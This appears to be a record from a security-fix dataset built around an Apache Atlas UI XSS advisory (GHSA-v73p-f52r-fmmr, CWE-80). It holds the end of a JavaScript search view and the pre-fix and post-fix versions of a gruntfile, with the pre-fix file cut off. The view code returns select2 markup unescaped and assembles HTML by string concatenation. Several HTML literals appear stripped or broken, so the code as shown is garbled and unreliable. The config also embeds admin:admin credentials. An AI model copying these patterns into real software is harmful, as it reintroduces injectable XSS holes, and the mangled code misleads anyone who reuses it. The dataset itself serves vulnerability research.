onRefreshButton: function() {\n Utils.disableRefreshButton(this.ui.refreshBtn, this);\n var that = this,\n apiCount = 2,\n updateSearchList = function() {\n if (apiCount === 0) {\n that.initializeValues();\n var checkURLValue = Utils.getUrlState.getQueryParams(that.url);\n if (that.searchVent && (_.has(checkURLValue, \"tag\") || _.has(checkURLValue, \"type\") || _.has(checkURLValue, \"query\"))) {\n that.searchVent.trigger('search:refresh');\n }\n }\n };\n this.metricCollection.fetch({\n complete: function() {\n --apiCount;\n that.entityCountObj = _.first(that.metricCollection.toJSON());\n updateSearchList();\n }\n });\n\n this.typeHeaders.fetch({\n silent: true,\n complete: function() {\n --apiCount;\n updateSearchList();\n }\n });\n },\n advancedInfo: function(e) {\n require([\n 'views/search/AdvancedSearchInfoView',\n 'modules/Modal'\n ], function(AdvancedSearchInfoView, Modal) {\n var view = new AdvancedSearchInfoView();\n var modal = new Modal({\n title: 'Advanced Search Queries',\n content: view,\n okCloses: true,\n showFooter: true,\n allowCancel: false\n }).open();\n view.on('closeModal', function() {\n modal.trigger('cancel');\n });\n });\n },\n openAttrFilter: function(filterType) {\n var that = this;\n require(['views/search/SearchQueryView'], function(SearchQueryView) {\n that.attrModal = new SearchQueryView({\n value: that.value,\n tag: (filterType === \"tag\" ? true : false),\n type: (filterType === \"type\" ? true : false),\n searchVent: that.searchVent,\n typeHeaders: that.typeHeaders,\n entityDefCollection: that.entityDefCollection,\n enumDefCollection: that.enumDefCollection,\n classificationDefCollection: that.classificationDefCollection,\n businessMetadataDefCollection: that.businessMetadataDefCollection,\n searchTableFilters: that.searchTableFilters,\n\n });\n that.attrModal.on('ok', function(scope, e) {\n that.okAttrFilterButton(e);\n });\n });\n },\n okAttrFilterButton: function(e) {\n var that = this,\n isTag = this.attrModal.tag ? true : false,\n filtertype = isTag ? 'tagFilters' : 'entityFilters',\n queryBuilderRef = this.attrModal.RQueryBuilder.currentView.ui.builder,\n col = [];\n\n function getIdFromRuleObject(rule) {\n _.map(rule.rules, function(obj, key) {\n if (_.has(obj, 'condition')) {\n return getIdFromRuleObject(obj);\n } else {\n return col.push(obj.id)\n }\n });\n return col;\n }\n if (queryBuilderRef.data('queryBuilder')) {\n var rule = queryBuilderRef.queryBuilder('getRules');\n }\n if (rule) {\n var ruleUrl = CommonViewFunction.attributeFilter.generateUrl({ \"value\": rule, \"formatedDateToLong\": true });\n this.searchTableFilters[filtertype][(isTag ? this.value.tag : this.value.type)] = ruleUrl;\n this.makeFilterButtonActive(filtertype);\n if (!isTag && this.value && this.value.type && this.searchTableColumns) {\n if (!this.searchTableColumns[this.value.type]) {\n this.searchTableColumns[this.value.type] = [\"selected\", \"name\", \"owner\", \"description\", \"tag\", \"typeName\"]\n }\n this.searchTableColumns[this.value.type] = _.sortBy(_.union(this.searchTableColumns[this.value.type], getIdFromRuleObject(rule)));\n }\n if (rule.rules) {\n if (!isTag && !that.tagEntityCheck) {\n var state = _.find(rule.rules, { id: \"__state\" });\n if (state) {\n that.typeEntityCheck = (state.value === \"ACTIVE\" && state.operator === \"=\") || (state.value === \"DELETED\" && state.operator === \"!=\") ? false : true;\n that.value.includeDE = that.typeEntityCheck;\n } else if (that.typeEntityCheck) {\n that.typeEntityCheck = false;\n if (!that.tagEntityCheck) {\n that.value.includeDE = false;\n }\n }\n }\n if (isTag && !that.typeEntityCheck) {\n var entityStatus = _.find(rule.rules, { id: \"__entityStatus\" });\n if (entityStatus) {\n that.tagEntityCheck = (entityStatus.value === \"ACTIVE\" && entityStatus.operator === \"=\") || (entityStatus.value === \"DELETED\" && entityStatus.operator === \"!=\") ? false : true;\n that.value.includeDE = that.tagEntityCheck\n } else if (that.tagEntityCheck) {\n that.tagEntityCheck = false;\n if (!that.typeEntityCheck) {\n that.value.includeDE = false;\n }\n }\n }\n }\n this.attrModal.modal.close();\n if ($(e.currentTarget).hasClass('search')) {\n this.findSearchResult();\n }\n }\n },\n manualRender: function(paramObj) {\n if (paramObj) {\n this.value = paramObj;\n }\n this.updateQueryObject(paramObj);\n this.renderTypeTagList();\n this.setValues(paramObj);\n },\n getFilterBox: function() {\n var serviceStr = '',\n serviceArr = [],\n that = this;\n this.typeHeaders.fullCollection.each(function(model) {\n var serviceType = model.toJSON().serviceType;\n if (serviceType) {\n serviceArr.push(serviceType);\n }\n });\n\n _.each(_.uniq(serviceArr), function(service) {\n serviceStr += '
  • ';\n });\n var templt = serviceStr + '
    ';\n return templt;\n },\n renderTypeTagList: function(options) {\n var that = this;\n var serviceTypeToBefiltered = (options && options.filterList);\n var isTypeOnly = options && options.isTypeOnly;\n if (this.selectedFilter[this.type].length) {\n serviceTypeToBefiltered = this.selectedFilter[this.type];\n }\n this.ui.typeLov.empty();\n var typeStr = '',\n tagStr = typeStr,\n foundNewClassification = false;\n this.typeHeaders.fullCollection.each(function(model) {\n var name = Utils.getName(model.toJSON(), 'name');\n if (model.get('category') == 'ENTITY' && (serviceTypeToBefiltered && serviceTypeToBefiltered.length ? _.contains(serviceTypeToBefiltered, model.get('serviceType')) : true)) {\n var entityCount = (that.entityCountObj.entity.entityActive[name] || 0) + (that.entityCountObj.entity.entityDeleted[name] || 0);\n typeStr += '';\n }\n if (isTypeOnly == undefined && model.get('category') == 'CLASSIFICATION') {\n var tagEntityCount = that.entityCountObj.tag.tagEntities[name];\n if (that.value && that.value.tag) { // to check if wildcard classification is present in our data\n if (name === that.value.tag) {\n foundNewClassification = true;\n }\n }\n tagStr += '';\n }\n });\n\n if (this.type !== \"dsl\") {\n _.each(Enums.addOnEntities, function(entity) {\n typeStr += '';\n });\n }\n if (!foundNewClassification && that.value) {\n if (that.value.tag) {\n var classificationValue = decodeURIComponent(that.value.tag);\n tagStr += '';\n }\n }\n if (_.isUndefined(isTypeOnly)) {\n //to insert extra classification list\n if (that.value) {\n _.each(Enums.addOnClassification, function(classificationName) {\n if (classificationName !== that.value.tag) {\n tagStr += '';\n }\n });\n }\n that.ui.tagLov.html(tagStr);\n this.ui.tagLov.select2({\n placeholder: \"Select Classification\",\n allowClear: true,\n tags: true,\n createTag: function(tag) {\n if (tag.term.indexOf('*') != -1) {\n return {\n id: tag.term,\n text: tag.term,\n isNew: true\n };\n }\n }\n });\n }\n that.ui.typeLov.html(typeStr);\n var typeLovSelect2 = this.ui.typeLov.select2({\n placeholder: \"Select Type\",\n dropdownAdapter: $.fn.select2.amd.require(\"ServiceTypeFilterDropdownAdapter\"),\n allowClear: true,\n getFilterBox: this.getFilterBox.bind(this),\n onFilterSubmit: function(options) {\n that.selectedFilter[that.type] = options.filterVal;\n that.filterTypeSelected = that.selectedFilter[that.type];\n that.renderTypeTagList({ \"filterList\": options.filterVal, isTypeOnly: true });\n that.checkForButtonVisiblity();\n }\n });\n if (this.value.filterTypeSelected === \"undefined\") {\n typeLovSelect2.on(\"select2:close\", function() {\n typeLovSelect2.trigger(\"hideFilter\");\n });\n if (typeLovSelect2 && isTypeOnly) {\n typeLovSelect2.select2('open').trigger(\"change\", { 'manual': true });\n }\n }\n if (that.setInitialEntityVal) {\n var defaultEntity = Enums.addOnEntities[0];\n that.value.type = defaultEntity;\n that.ui.typeLov.val(defaultEntity, null);\n }\n },\n renderTermList: function() {\n this.glossaryTermArray = null; //This Value is created to store the result of search Term while basic search through term.\n var that = this;\n var getTypeAheadData = function(data, params) {\n var dataList = data.entities,\n foundOptions = [];\n _.each(dataList, function(obj) {\n if (obj) {\n if (obj.guid) {\n obj['id'] = obj.attributes['qualifiedName'];\n }\n foundOptions.push(obj);\n }\n });\n return foundOptions;\n };\n this.ui.termLov.select2({\n placeholder: \"Search Term\",\n allowClear: true,\n ajax: {\n url: UrlLinks.searchApiUrl('attribute'),\n dataType: 'json',\n delay: 250,\n data: function(params) {\n return {\n attrValuePrefix: params.term, // search term\n typeName: \"AtlasGlossaryTerm\",\n limit: 10,\n offset: 0\n };\n },\n processResults: function(data, params) {\n that.glossaryTermArray = getTypeAheadData(data, params); //storing the search Results obj\n return {\n results: getTypeAheadData(data, params)\n };\n },\n cache: true\n },\n templateResult: function(option) {\n var name = Utils.getName(option, 'qualifiedName');\n return name === \"-\" ? option.text : name;\n },\n templateSelection: function(option) {\n var name = Utils.getName(option, 'qualifiedName');\n return name === \"-\" ? option.text : name;\n },\n escapeMarkup: function(markup) {\n return markup;\n },\n minimumInputLength: 1\n });\n },\n setValues: function(paramObj) {\n var arr = [],\n that = this;\n if (paramObj) {\n this.value = paramObj;\n }\n if (this.value.filterTypeSelected) {\n this.filterTypeSelected = this.value.filterTypeSelected.split(',');\n this.renderTypeTagList({ \"filterList\": this.filterTypeSelected, isTypeOnly: true });\n this.ui.typeLov.val(this.value.type);\n }\n if (this.value) {\n this.ui.searchInput.val(this.value.query || \"\");\n if (this.value.dslChecked == \"true\" || this.value.searchType === \"dsl\") {\n if (!this.ui.searchType.prop(\"checked\")) {\n this.ui.searchType.prop(\"checked\", true).trigger(\"change\");\n }\n } else {\n if (this.ui.searchType.prop(\"checked\")) {\n this.ui.searchType.prop(\"checked\", false).trigger(\"change\");\n }\n }\n this.ui.typeLov.val(this.value.type);\n if (this.ui.typeLov.data('select2')) {\n if (this.ui.typeLov.val() !== this.value.type) {\n this.value.type = null;\n this.ui.typeLov.val(\"\").trigger(\"change\", { 'manual': true });\n } else {\n this.ui.typeLov.trigger(\"change\", { 'manual': true });\n }\n }\n\n\n if (!this.dsl) {\n this.ui.tagLov.val(this.value.tag);\n if (this.ui.tagLov.data('select2')) {\n // To handle delete scenario.\n if (this.ui.tagLov.val() !== this.value.tag) {\n this.value.tag = null;\n this.ui.tagLov.val(\"\").trigger(\"change\", { 'manual': true });\n } else {\n this.ui.tagLov.trigger(\"change\", { 'manual': true });\n }\n }\n\n if (this.value.term) {\n this.ui.termLov.append('');\n }\n if (this.ui.termLov.data('select2')) {\n if (this.ui.termLov.val() !== this.value.term) {\n this.value.term = null;\n this.ui.termLov.val(\"\").trigger(\"change\", { 'manual': true });\n } else {\n this.ui.termLov.trigger(\"change\", { 'manual': true });\n }\n }\n }\n setTimeout(function() {\n that.ui.searchInput.focus();\n }, 0);\n }\n },\n findSearchResult: function() {\n this.triggerSearch(this.ui.searchInput.val());\n Globals.fromRelationshipSearch = false;\n },\n //This below function returns the searched Term Guid.\n getSearchedTermGuid: function() {\n var searchedTerm = this.ui.termLov.select2('val'),\n searchedTermGuid = null;\n if (searchedTerm) {\n this.glossaryTermArray.find(function(obj) {\n if (searchedTerm === obj.id)\n searchedTermGuid = obj.guid;\n });\n }\n return searchedTermGuid;\n },\n triggerSearch: function(value) {\n var params = {\n searchType: this.type,\n dslChecked: this.ui.searchType.is(':checked'),\n tagFilters: null,\n entityFilters: null,\n filterTypeSelected: this.filterTypeSelected\n },\n typeLovValue = this.ui.typeLov.find(':selected').data('name'), // to get count of selected element used data\n tagLovValue = this.ui.tagLov.find(':selected').data('name') || this.ui.tagLov.val(),\n termLovValue = this.ui.termLov.select2('val');\n params['type'] = typeLovValue || null;\n if (!this.dsl) {\n params['tag'] = tagLovValue || null;\n params['term'] = termLovValue || null;\n params['guid'] = this.getSearchedTermGuid(); //Adding Guid in the URL for selection while switching. \n var entityFilterObj = this.searchTableFilters['entityFilters'],\n tagFilterObj = this.searchTableFilters['tagFilters'];\n params['includeDE'] = false;\n params['excludeST'] = false;\n params['excludeSC'] = false;\n if (this.value) {\n if (this.value.tag) {\n params['tagFilters'] = tagFilterObj[this.value.tag]\n }\n if (this.value.type) {\n params['entityFilters'] = entityFilterObj[this.value.type]\n }\n var columnList = this.value.type && this.searchTableColumns ? this.searchTableColumns[this.value.type] : null;\n params['attributes'] = columnList ? columnList.join(',') : null;\n params['includeDE'] = _.isUndefinedNull(this.value.includeDE) ? false : this.value.includeDE;\n params['excludeST'] = _.isUndefinedNull(this.value.excludeST) ? false : this.value.excludeST;\n params['excludeSC'] = _.isUndefinedNull(this.value.excludeSC) ? false : this.value.excludeSC;\n }\n }\n if (this.value && !_.isUndefinedNull(this.value.pageLimit)) {\n params['pageLimit'] = this.value.pageLimit;\n }\n if (this.value && !_.isUndefinedNull(this.value.pageOffset)) {\n if (!_.isUndefinedNull(this.query[this.type]) && this.query[this.type].query != value) {\n params['pageOffset'] = 0;\n } else {\n params['pageOffset'] = this.value.pageOffset;\n }\n }\n params['query'] = value || null;\n _.extend(this.query[this.type], params);\n Utils.setUrl({\n url: '#!/search/searchResult',\n urlParams: _.extend({}, this.query[this.type]),\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n },\n dslFulltextToggle: function(e) {\n var paramObj = Utils.getUrlState.getQueryParams();\n if (paramObj && this.type == paramObj.searchType) {\n this.updateQueryObject(paramObj);\n }\n if (e.currentTarget.checked) {\n this.type = \"dsl\";\n this.dsl = true;\n this.$('.typeFilterBtn,.tagBox,.termBox,.basicSaveSearch').hide();\n this.$('.typeFilter').addClass('col-sm-12');\n this.$('.typeFilter').removeClass('col-sm-10');\n this.$('.advanceSaveSearch').show();\n this.$('.searchText').text('Search By Query');\n this.ui.searchInput.attr(\"placeholder\", 'Search By Query eg. where name=\"sales_fact\"');\n } else {\n this.$('.typeFilter').addClass('col-sm-10');\n this.$('.typeFilter').removeClass('col-sm-12');\n this.$('.typeFilterBtn,.tagBox,.termBox,.basicSaveSearch').show();\n this.$('.advanceSaveSearch').hide();\n this.dsl = false;\n this.type = \"basic\";\n this.$('.searchText').text('Search By Text');\n this.ui.searchInput.attr(\"placeholder\", \"Search By Text\");\n }\n if (Utils.getUrlState.isSearchTab()) {\n Utils.setUrl({\n url: '#!/search/searchResult',\n urlParams: _.extend(this.query[this.type], {\n searchType: this.type,\n dslChecked: this.ui.searchType.is(':checked')\n }),\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n }\n },\n clearSearchData: function() {\n this.selectedFilter[this.type] = [];\n this.filterTypeSelected = [];\n this.renderTypeTagList();\n this.updateQueryObject();\n this.ui.typeLov.val(\"\").trigger(\"change\");\n this.ui.tagLov.val(\"\").trigger(\"change\");\n this.ui.searchInput.val(\"\");\n var type = \"basicSaveSearch\";\n if (this.type == \"dsl\") {\n type = \"advanceSaveSearch\";\n }\n this.$('.' + type + ' .saveSearchList').find('li.active').removeClass('active');\n this.$('.' + type + ' [data-id=\"saveBtn\"]').attr('disabled', true);\n if (!this.dsl) {\n this.searchTableFilters.tagFilters = {};\n this.searchTableFilters.entityFilters = {};\n }\n this.checkForButtonVisiblity();\n Utils.setUrl({\n url: '#!/search/searchResult',\n urlParams: {\n searchType: this.type,\n dslChecked: this.ui.searchType.is(':checked')\n },\n mergeBrowserUrl: false,\n trigger: true\n });\n }\n });\n return SearchLayoutView;\n});" repo = "apache/atlas" url = "https://github.com/apache/atlas.git" [[case]] advisory = "GHSA-v73p-f52r-fmmr" advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." commit = "800f979307d6ea0f0b6563ec890f6b728022e497" cwe = "CWE-80" family = "output_encoding" function = "function" function_lines = [[21, 390]] id = "apache-atlas-10c9d446ebf3bb21" language = "javascript" method = "fix_site" parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" path = "dashboardv2/gruntfile.js" post_fix = "module.exports = function(grunt) {\n var buildTime = new Date().getTime(),\n distPath = './dist',\n libPath = distPath + '/js/libs/',\n isDashboardDirectory = grunt.file.isDir('public'),\n nodeModulePath = './node_modules/',\n modulesPath = 'public/';\n if (!isDashboardDirectory) {\n modulesPath = '../public/'\n }\n\n grunt.initConfig({\n watch: {\n js: {\n files: ['public/**/*.js'],\n tasks: ['copy:build']\n },\n html: {\n files: ['public/**/*.html'],\n tasks: ['copy:build']\n },\n css: {\n files: ['public/**/*.scss', 'public/**/*.css'],\n tasks: ['copy:build', 'sass']\n },\n image: {\n files: ['public/**/*.{ico,gif,png}'],\n tasks: ['copy:build']\n }\n },\n connect: {\n server: {\n options: {\n port: 9999,\n base: distPath,\n // change this to '0.0.0.0' to access the server from outside\n hostname: '0.0.0.0',\n middleware: function(connect, options, middlewares) {\n middlewares.unshift(require('grunt-middleware-proxy/lib/Utils').getProxyMiddleware());\n middlewares.unshift(function(req, res, next) {\n if (req.url === '/login.jsp' || req.url.indexOf('/login.jsp') === 0) {\n req.url = '/index.html';\n }\n next();\n });\n return middlewares;\n }\n },\n proxies: [{\n context: '/api/atlas',\n host: 'ccycloud-2.prasad-relationshipattribute.root.comops.site',\n auth: 'admin:admin',\n port: 31000,\n https: false,\n rewriteHost: true\n }],\n },\n },\n npmcopy: {\n js: {\n options: {\n destPrefix: libPath,\n srcPrefix: nodeModulePath\n },\n files: {\n // FileName : {\"src\":\"dest\"}\n 'jquery.min.js': { 'jquery/dist': 'jquery/js' },\n 'require.js': { 'requirejs': 'requirejs' },\n 'text.js': { 'requirejs-text': 'requirejs-text' },\n 'underscore-min.js': { 'underscore': 'underscore' },\n 'bootstrap.min.js': { 'bootstrap/dist/js': 'bootstrap/js' },\n 'backbone-min.js': { 'backbone': 'backbone' },\n 'backbone.babysitter.min.js': { 'backbone.babysitter/lib': 'backbone-babysitter' },\n 'backbone.marionette.min.js': { 'backbone.marionette/lib': 'backbone-marionette' },\n 'backbone.paginator.min.js': { 'backbone.paginator/lib': 'backbone-paginator' },\n 'backbone.wreqr.min.js': { 'backbone.wreqr/lib': 'backbone-wreqr' },\n 'backgrid.js': { 'backgrid/lib': 'backgrid/js' },\n 'backgrid-filter.min.js': { 'backgrid-filter': 'backgrid-filter/js' },\n 'backgrid-orderable-columns.js': { 'backgrid-orderable-columns': 'backgrid-orderable-columns/js' },\n 'backgrid-paginator.min.js': { 'backgrid-paginator': 'backgrid-paginator/js' },\n 'backgrid-sizeable-columns.js': { 'backgrid-sizeable-columns': 'backgrid-sizeable-columns/js' },\n 'Backgrid.ColumnManager.js': { 'backgrid-columnmanager/src': 'backgrid-columnmanager/js' },\n 'd3.min.js': { 'd3/dist': 'd3' },\n 'index.js': { 'd3-tip': 'd3/' },\n 'dagre-d3.min.js': { 'dagre-d3/dist': 'dagre-d3' },\n 'select2.full.min.js': { 'select2/dist/js': 'select2' },\n 'backgrid-select-all.min.js': { 'backgrid-select-all': 'backgrid-select-all' },\n 'moment.min.js': { 'moment/min': 'moment/js' },\n 'moment-timezone-with-data.min.js': { 'moment-timezone/builds': 'moment-timezone' },\n 'jquery.placeholder.js': { 'jquery-placeholder': 'jquery-placeholder/js' },\n 'platform.js': { 'platform': 'platform' },\n 'query-builder.standalone.min.js': { 'jQuery-QueryBuilder/dist/js': 'jQueryQueryBuilder/js' },\n 'daterangepicker.js': { 'bootstrap-daterangepicker': 'bootstrap-daterangepicker/js' },\n 'jquery.sparkline.min.js': { 'jquery-sparkline': 'sparkline' },\n 'table-dragger.js': { 'table-dragger/dist': 'table-dragger' },\n 'jstree.min.js': { 'jstree/dist': 'jstree' },\n 'jquery.steps.min.js': { 'jquery-steps/build': 'jquery-steps' },\n 'dropzone-amd-module.js': { 'dropzone/dist': \"dropzone/js\" },\n 'lossless-json.js': { 'lossless-json/dist': 'lossless-json' }\n }\n\n },\n css: {\n options: {\n destPrefix: libPath,\n srcPrefix: nodeModulePath\n },\n files: {\n 'bootstrap.min.css': { 'bootstrap/dist/css': 'bootstrap/css' },\n 'glyphicons-halflings-regular.woff2': { 'bootstrap/fonts': 'bootstrap/fonts' },\n 'backgrid.css': { 'backgrid/lib': 'backgrid/css' },\n 'backgrid-filter.min.css': { 'backgrid-filter': 'backgrid-filter/css' },\n 'backgrid-orderable-columns.css': { 'backgrid-orderable-columns': 'backgrid-orderable-columns/css' },\n 'backgrid-paginator.css': { 'backgrid-paginator': 'backgrid-paginator/css' },\n 'backgrid-sizeable-columns.css': { 'backgrid-sizeable-columns': 'backgrid-sizeable-columns/css' },\n 'Backgrid.ColumnManager.css': { 'backgrid-columnmanager/lib': 'backgrid-columnmanager/css' },\n 'select2.min.css': { 'select2/dist/css': 'select2/css' },\n 'backgrid-select-all.min.css': { 'backgrid-select-all': 'backgrid-select-all' },\n 'font-awesome.min.css': { 'font-awesome/css': 'font-awesome/css' },\n '*': [{\n 'expand': true,\n 'dot': true,\n 'cwd': nodeModulePath + 'font-awesome',\n 'src': ['fonts/*.*'],\n 'dest': libPath + 'font-awesome/'\n }, {\n 'expand': true,\n 'dot': true,\n 'cwd': nodeModulePath + 'jstree/dist/themes/',\n 'src': ['**'],\n 'dest': libPath + 'jstree/css/'\n }],\n 'query-builder.default.min.css': { 'jQuery-QueryBuilder/dist/css': 'jQueryQueryBuilder/css' },\n 'daterangepicker.css': { 'bootstrap-daterangepicker': 'bootstrap-daterangepicker/css' },\n 'pretty-checkbox.min.css': { 'pretty-checkbox/dist': 'pretty-checkbox/css' },\n 'dropzone.css': { 'dropzone/dist': \"dropzone/css\" }\n }\n\n },\n license: {\n options: {\n destPrefix: libPath,\n srcPrefix: nodeModulePath\n },\n files: {\n 'LICENSE.txt': [\n { 'jquery': 'jquery' },\n { 'jquery-placeholder': 'jquery-placeholder' }\n ],\n 'LICENSE': [{ 'requirejs-text': 'requirejs-text' },\n { 'underscore': 'underscore' },\n { 'bootstrap': 'bootstrap' },\n { 'backgrid-columnmanager': 'backgrid-columnmanager' },\n { 'd3': 'd3' },\n { 'd3-tip': 'd3/' },\n { 'dagre-d3': 'dagre-d3' },\n { 'platform': 'platform/' },\n { 'jQuery-QueryBuilder': 'jQueryQueryBuilder/' },\n { 'moment-timezone': 'moment-timezone' },\n { 'pretty-checkbox': 'pretty-checkbox' }\n ],\n 'LICENSE.md': [{ 'backbone.babysitter': 'backbone-babysitter' },\n { 'backbone.wreqr': 'backbone-wreqr' },\n { 'lossless-json': 'lossless-json' }\n ],\n 'license.txt': [{ 'backbone.marionette': 'backbone-marionette' }],\n 'license': [{ 'table-dragger': 'table-dragger' }],\n 'LICENSE-MIT': [{ 'backbone.paginator': 'backbone-paginator' },\n { 'backgrid': 'backgrid' },\n { 'backgrid-filter': 'backgrid-filter' },\n { 'backgrid-orderable-columns': 'backgrid-orderable-columns' },\n { 'backgrid-paginator': 'backgrid-paginator' },\n { 'backgrid-sizeable-columns': 'backgrid-sizeable-columns' },\n { 'backgrid-select-all': 'backgrid-select-all' }\n ]\n }\n }\n },\n rename: {\n main: {\n files: [\n { src: [libPath + 'jstree/css/default/style.min.css'], dest: libPath + 'jstree/css/default/default-theme.min.css' },\n { src: [libPath + 'jstree/css/default-dark/style.min.css'], dest: libPath + 'jstree/css/default-dark/default-dark-theme.min.css' },\n ]\n }\n },\n sass: {\n options: {\n implementation: sass,\n sourceMap: false\n },\n build: {\n files: {\n [distPath + '/css/style.css']: modulesPath + 'css/scss/style.scss',\n [distPath + '/css/migration-style.css']: modulesPath + 'css/scss/migration-style.scss',\n [distPath + '/css/login.css']: modulesPath + 'css/scss/login.scss'\n }\n }\n },\n copy: {\n build: {\n expand: true,\n cwd: modulesPath,\n src: ['**', '!**/scss/**', \"!**/atlas-lineage/**\", \"**/atlas-lineage/dist/**\", \"!index.html.tpl\"],\n dest: distPath\n }\n },\n clean: {\n build: [distPath, libPath],\n options: {\n force: true\n }\n },\n uglify: {\n buildlibs: {\n options: {\n mangle: true,\n compress: true,\n beautify: false\n },\n files: [{\n expand: true,\n cwd: distPath + '/js',\n src: ['external_lib/**/*.js', '!external_lib/**/purify.min.js', 'libs/**/*.js'],\n dest: distPath + '/js'\n }]\n },\n buildjs: {\n options: {\n mangle: false,\n compress: true,\n beautify: true\n },\n files: [{\n expand: true,\n cwd: distPath + '/js',\n src: ['**/*.js', '!libs/**', '!external_lib/**'],\n dest: distPath + '/js'\n }]\n }\n },\n cssmin: {\n build: {\n files: [{\n expand: true,\n cwd: distPath + '/css',\n src: '*.css',\n dest: distPath + '/css'\n }]\n }\n },\n htmlmin: {\n build: {\n options: {\n removeComments: true,\n collapseWhitespace: true\n },\n files: [{\n expand: true,\n cwd: distPath + '/js/templates',\n src: '**/*.html',\n dest: distPath + '/js/templates'\n }]\n }\n },\n template: {\n build: {\n options: {\n data: {\n 'bust': buildTime\n }\n },\n files: {\n [distPath + '/index.html']: [modulesPath + 'index.html.tpl'],\n [distPath + '/migration-status.html']: [modulesPath + 'migration-status.html.tpl']\n }\n }\n }\n });\n\n // Dynamically add copy-task using npmcopy\n var npmCopy = grunt.config.get('npmcopy'),\n libFiles = [],\n createPath = function(options) {\n var obj = options.obj,\n fileName = options.fileName,\n pathPrefix = options.pathPrefix;\n if (obj.length) {\n for (var i in obj) {\n createPath({\n 'obj': obj[i],\n 'libFiles': options.libFiles,\n 'pathPrefix': pathPrefix,\n 'fileName': fileName\n });\n }\n } else {\n if (fileName == \"*\") {\n options.libFiles.push(obj);\n } else {\n key = Object.keys(obj);\n options.libFiles.push({ 'src': pathPrefix.srcPrefix + key + \"/\" + fileName, 'dest': pathPrefix.destPrefix + obj[key] + \"/\" + fileName });\n }\n }\n };\n\n for (var key in npmCopy) {\n var options = npmCopy[key].options,\n files = npmCopy[key].files;\n for (var fileName in files) {\n createPath({\n 'obj': files[fileName],\n 'libFiles': libFiles,\n 'pathPrefix': options,\n 'fileName': fileName\n });\n }\n };\n grunt.config.set('copy.libs', { files: libFiles });\n\n grunt.loadNpmTasks('grunt-contrib-connect');\n grunt.loadNpmTasks('grunt-middleware-proxy');\n grunt.loadNpmTasks('grunt-contrib-watch');\n grunt.loadNpmTasks('grunt-contrib-uglify');\n grunt.loadNpmTasks('grunt-contrib-cssmin');\n grunt.loadNpmTasks('grunt-contrib-htmlmin');\n grunt.loadNpmTasks('grunt-template');\n grunt.loadNpmTasks('grunt-contrib-rename');\n\n require('load-grunt-tasks')(grunt);\n\n grunt.registerTask('dev', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'template',\n 'setupProxies:server',\n 'connect:server',\n 'watch'\n ]);\n\n grunt.registerTask('build', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'template'\n ]);\n\n grunt.registerTask('dev-minify', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'uglify',\n 'cssmin',\n 'template',\n 'setupProxies:server',\n 'connect:server',\n 'watch'\n ]);\n\n grunt.registerTask('build-minify', [\n 'clean',\n 'copy:libs',\n 'copy:build',\n 'rename',\n 'sass:build',\n 'uglify',\n 'cssmin',\n 'template'\n ]);\n};" pre_fix = "module.exports = function(grunt) {\n var buildTime = new Date().getTime(),\n distPath = './dist',\n libPath = distPath + '/js/libs/',\n isDashboardDirectory = grunt.file.isDir('public'),\n nodeModulePath = './node_modules/',\n modulesPath = 'public/';\n if (!isDashboardDirectory) {\n modulesPath = '../public/'\n }\n\n grunt.initConfig({\n watch: {\n js: {\n files: ['public/**/*.js'],\n tasks: ['copy:build']\n },\n html: {\n files: ['public/**/*.html'],\n tasks: ['copy:build']\n },\n css: {\n files: ['public/**/*.scss', 'public/**/*.css'],\n tasks: ['copy:build', 'sass']\n },\n image: {\n files: ['public/**/*.{ico,gif,png}'],\n tasks: ['copy:build']\n }\n },\n connect: {\n server: {\n options: {\n port: 9999,\n base: distPath,\n // change this to '0.0.0.0' to access the server from outside\n hostname: '0.0.0.0',\n middleware: function(connect, options, middlewares) {\n middlewares.unshift(require('grunt-middleware-proxy/lib/Utils').getProxyMiddleware());\n return middlewares;\n }\n },\n proxies: [{\n context: '/api', // the context of the data service\n host: '127.0.0.1',\n auth: \"admin:admin\",\n port: 21000, // the port that the data service is running on\n https: false\n }],\n },\n },\n npmcopy: {\n js: {\n options: {\n destPrefix: libPath,\n srcPrefix: nodeModulePath\n },\n files: {\n // FileName : {\"src\":\"dest\"}\n 'jquery.min.js': { 'jquery/dist': 'jquery/js' },\n 'require.js': { 'requirejs': 'requirejs' },\n 'text.js': { 'requirejs-text': 'requirejs-text' },\n 'underscore-min.js': { 'underscore': 'underscore' },\n 'bootstrap.min.js': { 'bootstrap/dist/js': 'bootstrap/js' },\n 'backbone-min.js': { 'backbone': 'backbone' },\n 'backbone.babysitter.min.js': { 'backbone.babysitter/lib': 'backbone-babysitter' },\n 'backbone.marionette.min.js': { 'backbone.marionette/lib': 'backbone-marionette' },\n 'backbone.paginator.min.js': { 'backbone.paginator/lib': 'backbone-paginator' },\n 'backbone.wreqr.min.js': { 'backbone.wreqr/lib': 'backbone-wreqr' },\n 'backgrid.js': { 'backgrid/lib': 'backgrid/js' },\n 'backgrid-filter.min.js': { 'backgrid-filter': 'backgrid-filter/js' },\n 'backgrid-orderable-columns.js': { 'backgrid-orderable-columns': 'backgrid-orderable-columns/js' },\n 'backgrid-paginator.min.js': { 'backgrid-paginator': 'backgrid-paginator/js' },\n 'backgrid-sizeable-columns.js': { 'backgrid-sizeable-columns': 'backgrid-sizeable-columns/js' },\n 'Backgrid.ColumnManager.js': { 'backgrid-columnmanager/src': 'backgrid-columnmanager/js' },\n 'd3.min.js': { 'd3/dist': 'd3' },\n 'index.js': { 'd3-tip': 'd3/' },\n 'dagre-d3.min.js': { 'dagre-d3/dist': 'dagre-d3' },\n 'select2.full.min.js': { 'select2/dist/js': 'select2' },\n 'backgrid-select-all.min.js': { 'backgrid-select-all': 'backgrid-select-all' },\n 'moment.min.js': { 'moment/min': 'moment/js' },\n 'moment-timezone-with-data.min.js': { 'moment-timezone/builds': 'moment-timezone' },\n 'jquery.placeholder.js': { 'jquery-placeholder': 'jquery-placeholder/js' },\n 'platform.js': { 'platform': 'platform' },\n 'query-builder.standalone.min.js': { 'jQuery-QueryBuilder/dist/js': 'jQueryQueryBuilder/js' },\n 'daterangepicker.js': { 'bootstrap-daterangepicker': 